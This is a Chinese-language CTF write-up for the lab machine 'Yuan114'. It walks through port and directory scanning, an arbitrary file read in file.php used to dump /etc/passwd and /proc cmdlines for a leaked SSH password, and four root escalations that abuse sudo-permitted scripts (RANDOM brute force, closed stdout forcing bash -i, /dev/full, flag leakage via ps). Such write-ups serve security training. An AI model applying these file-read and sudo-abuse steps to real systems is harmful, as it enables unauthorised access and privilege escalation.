Yuan114

image-20260520164714531

信息搜集

192.168.43.158

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.158 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.158:22
Open 192.168.43.158:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.158
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-20 16:24 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Initiating ARP Ping Scan at 16:24
Scanning 192.168.43.158 [1 port]
Completed ARP Ping Scan at 16:24, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:24
Completed Parallel DNS resolution of 1 host. at 16:24, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:24
Scanning 192.168.43.158 [2 ports]
Discovered open port 22/tcp on 192.168.43.158
Discovered open port 80/tcp on 192.168.43.158
Completed SYN Stealth Scan at 16:24, 0.01s elapsed (2 total ports)
Initiating Service scan at 16:24
Scanning 2 services on 192.168.43.158
Completed Service scan at 16:24, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.158
NSE: Script scanning 192.168.43.158.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.17s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Nmap scan report for 192.168.43.158
Host is up, received arp-response (0.00055s latency).
Scanned at 2026-05-20 16:24:43 CST for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Welcome
MAC Address: 08:00:27:8D:FE:9E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/20%OT=22%CT=%CU=36682%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0D6FD2%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 23.814 days (since Sun Apr 26 20:53:18 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.55 ms 192.168.43.158

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds
           Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.158/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.43.158/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              json,md,php,txt,html,back,cgi,jpg
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 615]
file.php             (Status: 500) [Size: 0]

file.php返回的是500说明是存在的请求方式错误

FUZZ

模糊测试下file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿Eecho)-[~]
└─# wfuzz -w /usr/share/wordlists/dirb/common.txt -u "http://192.168.43.158/file.php?FUZZ=/etc/passwd" --hc 404 --hh 0
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.43.158/file.php?FUZZ=/etc/passwd
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001601:   200        26 L     38 W       1394 Ch     "file"

Total time: 0
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 0

是个任意文件读取。

查看进程运行了哪些服务，脚本

1
2
3
4
5
6
7
8
9
10
11
import requests

base = "http://10.156.131.88/file.php?file=/proc"

for pid in range(1, 500):
    url = f"{base}/{pid}/cmdline"
    r = requests.get(url, timeout=3)
    text = r.text.replace('\x00', ' ').strip()
    if text:
        print(f"[+] PID {pid}: {text}")

image

泄露了某个用户的密码，目前还不知道用户名但是可以利用前面的任意文件读取读取/etc/passwd文件

image

只有一个welcome用户，那么那个密码肯定是welcome的了

ssh登录到welcome用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh welcome@192.168.43.158
The authenticity of host '192.168.43.158 (192.168.43.158)' can't be established.
ED25519 key fingerprint is: SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
    ~/.ssh/known_hosts:2: [hashed name]
    ~/.ssh/known_hosts:3: [hashed name]
    ~/.ssh/known_hosts:11: [hashed name]
    ~/.ssh/known_hosts:16: [hashed name]
    ~/.ssh/known_hosts:17: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
    ~/.ssh/known_hosts:19: [hashed name]
    (6 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.158' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
welcome@192.168.43.158's password:
Linux 114 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 11 22:27:59 2025 from 192.168.3.94
welcome@114:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
welcome@114:~$

‍

提权

welcome -> root

1
2
3
4
5
6
7
welcome@114:~$ sudo -l
Matching Defaults entries for welcome on 114:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 114:
    (ALL) NOPASSWD: /opt/read.sh
    (ALL) NOPASSWD: /opt/short.sh

可以以 root 权限无密码运行read.sh和short.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
welcome@114:~$ cat /opt/short.sh
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM

echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
    echo "Nop";
else
    bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
welcome@114:~$ cat /opt/read.sh
#!/bin/bash

echo "Input the flag:"
if head -1 | grep -q "$(< /root/root.txt)"
then
        echo "Y"
else
        echo "N"
fi

‍

root 方案一(baby)

1
while true; do sudo /opt/short.sh $RANDOM; done

暴力碰撞

方案二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
welcome@114:/opt$ cat short.sh
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM

echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
    echo "Nop";
else
    bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

由文件名short知道短路逻辑

在 Bash 中，可以用 &&​ 和 ||​ 来替代完整的 if...else 结构。

  • 写法 A（冗长型） ​：if [ A ]; then B; else C; fi
  • 写法 B（短路型） ：[ A ] && B || C

[ A ] && B || C

  • 第一步​：执行 [ A ]。

  • 第二步：

    • 如果 [ A ]​ 返回 1（成功），则执行 B。
    • 关键点​：此时整个 [ A ] && B​ 的退出状态，就取决于 B 的返回值。

  • 第三步​：执行 || C。

    • ||​ 并不关心 [ A ]​ 是什么，它只看它左边整个整体的最终返回值。

‍

当$1 != My_guess的时候会输出Nop，但是如果echo也不执行那么左边就是false 就会执行bash -i

每一个命令运行的时候都会连接三个stream流

  • STDIN (0) - 标准输入，描述符为0
  • STDOUT (1) - 标准输出，描述符为1，用&1表示标注输出流
  • STDERR (2) - 标准错误，描述符为2

所以这里只需要关闭标准输出同时$1又不等于My_guess

1
sudo /opt/short.sh '1' >&-

root@114:/opt# cat /root/root.txt
cat: write error: Bad file descriptor

这里报错是因为我们已经关闭了标准输出管道

可以利用标准错误管道输出

1
cat /root/root.txt >&2

‍

方案三

1
sudo /opt/short.sh > /dev/full

原理也是一样的，将标准输出重定向到/dev/full

/dev/full

当你尝试向 /dev/full​ 写入任何数据时，它都会立即返回一个错误： “No space left on device”（设备上没有空间） 。

‍解决方法就是利用 Bash 的 exec 内建命令，将代表标准输出的文件描述符 1 永久重定向回当前的终端

1
exec 1>/dev/tty

方案四

1
2
3
4
5
6
7
8
#!/bin/bash
echo "Input the flag:"
if head -1 | grep -q "$(< /root/root.txt)"
then
        echo "Y"
else
        echo "N"
fi

打开两个终端一个终端输入

1
sudo /opt/read.sh

另一个终端输入ps aux

image

‍

原理

在 Linux 执行一条命令前，Shell 会先进行​变量替换和命令替换​。 当执行到 grep -q "$(< /root/root.txt)" 时：

  1. Shell 先读取 /root/root.txt​ 的内容（假设是 flag{test_code}）。
  2. Shell 将命令重组为：grep -q "flag{test_code}"。
  3. 这个完整的命令字符串会被记录在内核的进程表项中，具体路径为 /proc/[PID]/cmdline。

由于脚本中使用了管道符 |​，head​ 和 grep​ 是同时启动的。head​ 在等待用户输入时会阻塞，这导致 grep​ 进程也会一直驻留在进程列表中。此时，任何用户通过 ps 命令都可以查看到该进程的启动参数。

‍